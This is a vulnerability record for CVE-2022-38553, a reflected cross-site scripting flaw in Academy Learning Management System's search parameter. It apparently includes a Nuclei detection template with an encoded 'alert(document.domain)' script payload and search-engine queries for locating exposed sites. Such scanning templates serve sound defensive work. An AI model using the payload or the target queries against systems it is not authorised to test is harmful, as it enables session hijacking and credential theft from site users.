CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
59.5%
Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-38553
info:
name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.
reference:
- https://www.youtube.com/watch?v=yFiZffHoeKs&ab_channel=4websecurity
- https://github.com/4websecurity/CVE-2022-38553
- https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
- https://nvd.nist.gov/vuln/detail/CVE-2022-38553
- http://academy.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-38553
cwe-id: CWE-79
epss-score: 0.00212
epss-percentile: 0.5922
cpe: cpe:2.3:a:creativeitem:academy_learning_management_system:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: creativeitem
product: academy_learning_management_system
shodan-query: http.html:"study any topic, anytime"
fofa-query: body="study any topic, anytime"
google-query:
- intext:"Study any topic, anytime"
- intext:"study any topic, anytime"
tags: cve2022,cve,academylms,xss,creativeitem
http:
- method: GET
path:
- '{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- 'Study any topic'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
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